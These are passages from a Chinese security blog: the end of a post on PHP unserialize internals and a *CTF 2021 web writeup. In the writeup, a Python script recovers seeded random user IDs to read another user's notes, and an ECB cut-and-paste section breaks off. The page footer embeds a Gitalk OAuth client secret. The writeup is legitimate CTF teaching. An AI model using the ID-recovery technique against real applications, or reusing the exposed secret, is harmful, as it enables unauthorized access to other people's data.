as_key)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e任何看了源码的人看到这里都会\u0026lt;龙门粗口\u0026gt;,槽点实在是太多了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e自然而然地,我们回去看这个internal是怎么调用的,看看什么情况下传入的 \u003ccode\u003evar_hash\u003c/code\u003e 为 NULL:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 高度简化版\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_var_unserialize_internal\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e as_key)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e match \u003cspan class=\"string\"\u003e\u0026quot;a:\u0026lt;arr_len\u0026gt;\u0026quot;\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprocess_nested_data\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e match \u003cspan class=\"string\"\u003e\u0026quot;O:\u0026lt;type\u0026gt;:\u0026lt;cnt_attrs\u0026gt;\u0026quot;\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eobject_common\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eobject_common\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, zend_long elements, zend_bool has_unserialize)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprocess_nested_data\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e zend_always_inline \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eprocess_nested_data\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, zend_object *obj)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (elements-- \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zval key, *data;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_property_info *info = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephp_var_unserialize_internal\u003c/span\u003e(\u0026amp;key, p, max, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// assert type(key) == string or type(key) == long\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (obj) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// assert string(key) in dir(obj)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// obj[key] = new ref info // zend_get_typed_property_info_for_slot\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephp_var_unserialize_internal\u003c/span\u003e(data, p, max, var_hash, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (info) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// some checks\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ezend_ref_add_type_source\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REF_P\u003c/span\u003e(data), info);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 略\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,当反序列化数组、对象这种东西的时候,只有反序列化 \u003cem\u003e\u003cstrong\u003e值\u003c/strong\u003e\u003c/em\u003e 时会传入 \u003ccode\u003evar_hash\u003c/code\u003e 这个列表, \u003cem\u003e\u003cstrong\u003e键\u003c/strong\u003e\u003c/em\u003e 并不存在于这个对象中的列表中。真相大白。\u003c/p\u003e\u003ch2 id=\"有趣的事情\"\u003e有趣的事情\u003c/h2\u003e\u003ch3 id=\"1\"\u003e1\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a:2:\u0026#123;i:0;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;i:1;a:2:\u0026#123;i:0;r:2;i:1;R:3;\u0026#125;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是序列化部分的事情了。可是今天实在不想写了。\u003c/p\u003e\u003ch3 id=\"2\"\u003e2\u003c/h3\u003e\u003cp\u003eC++的引用实际上并不一定占用堆栈空间。对对象的解引用\u003ca href=\"https://en.cppreference.com/w/cpp/language/reference#:~:text=they%20do%20not%20necessarily%20occupy%20storage\"\u003e很有可能\u003c/a\u003e是在编译期间完成的。\u003c/p\u003e\u003ch2 id=\"求Star\"\u003e求Star\u003c/h2\u003e\u003cp\u003e建议去点个star,\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003e\u003cimg src=\"https://img.shields.io/github/stars/frankli0324/libphpserialize.svg?style=flat\u0026label=秋梨膏\" style=\"display:inherit\"/\u003e\u003c/a\u003e!!!\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/"},{"title":"*CTF 2021 Web部分 Writeup","time":"2021-01-18T07:58:02Z","content":"\u003ch2 id=\"oh-my-note\"\u003eoh-my-note\u003c/h2\u003e\n\u003cp\u003e签到题,观察源码:\u003c/p\u003e\n\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003chr /\u003e\u003ch2 id=\"oh-my-note\"\u003eoh-my-note\u003c/h2\u003e\u003cp\u003e签到题,观察源码:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.route(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;/create_note\u0026#x27;\u003c/span\u003e, methods=[\u003cspan class=\"string\"\u003e\u0026#x27;GET\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;POST\u0026#x27;\u003c/span\u003e]\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ecreate_note\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e request.method == \u003cspan class=\"string\"\u003e\u0026quot;POST\u0026quot;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"built_in\"\u003eround\u003c/span\u003e(time.time(), \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(timestamp)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user_id = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"built_in\"\u003eround\u003c/span\u003e(time.time(), \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime(\u003cspan class=\"string\"\u003e\u0026#x27;%Y-%m-%d %H:%M UTC\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(user_id + post_at)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e note_id = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e note = Note(user_id=user_id, note_id=note_id,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e title=title, text=text,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e prv=prv, post_at=post_at)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不难发现可以根据文章发布的时间反推seed拿到对应用户的id\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e datetime\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ets = \u003cspan class=\"number\"\u003e1610677740\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ete = \u003cspan class=\"number\"\u003e1610677800\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etarget = \u003cspan class=\"string\"\u003e\u0026#x27;lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e t \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(ts, te):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e9999\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"number\"\u003e0.0001\u003c/span\u003e * i + t\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(timestamp)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e time = datetime.datetime.fromtimestamp(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e t, tz=datetime.timezone.utc\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ).strftime(\u003cspan class=\"string\"\u003e\u0026#x27;%Y-%m-%d %H:%M UTC\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(user + time)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e post = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e post == target:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(timestamp, user)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e然而比赛的时候作为一个星 际 人,发生了这样的事情:\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/chat.png\" class=\"\" title=\"星 际\"\u003e\u003cp\u003e而后\u003ccode\u003e/my_notes\u003c/code\u003e路由只要利用\u003ccode\u003euser_id\u003c/code\u003e就能列出用户的所有文章\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.route(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;/my_notes\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003emy_notes\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e session.get(\u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e username = session[\u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user_id = User.query.filter_by(username=username).first().user_id\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user_id = request.args.get(\u003cspan class=\"string\"\u003e\u0026#x27;user_id\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e user_id:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e redirect(url_for(\u003cspan class=\"string\"\u003e\u0026#x27;index\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e看到flag所在文章\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/secret.png\" class=\"\" title=\"flag\"\u003e\u003ch2 id=\"lottery-again\"\u003elottery again\u003c/h2\u003e\u003cp\u003e题目是用的是ECB,cut and paste again。\u003cbr\u003e经过尝试,题目所用加密方式块大小为32,将随意一个明文可以如下拆分:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003cspan 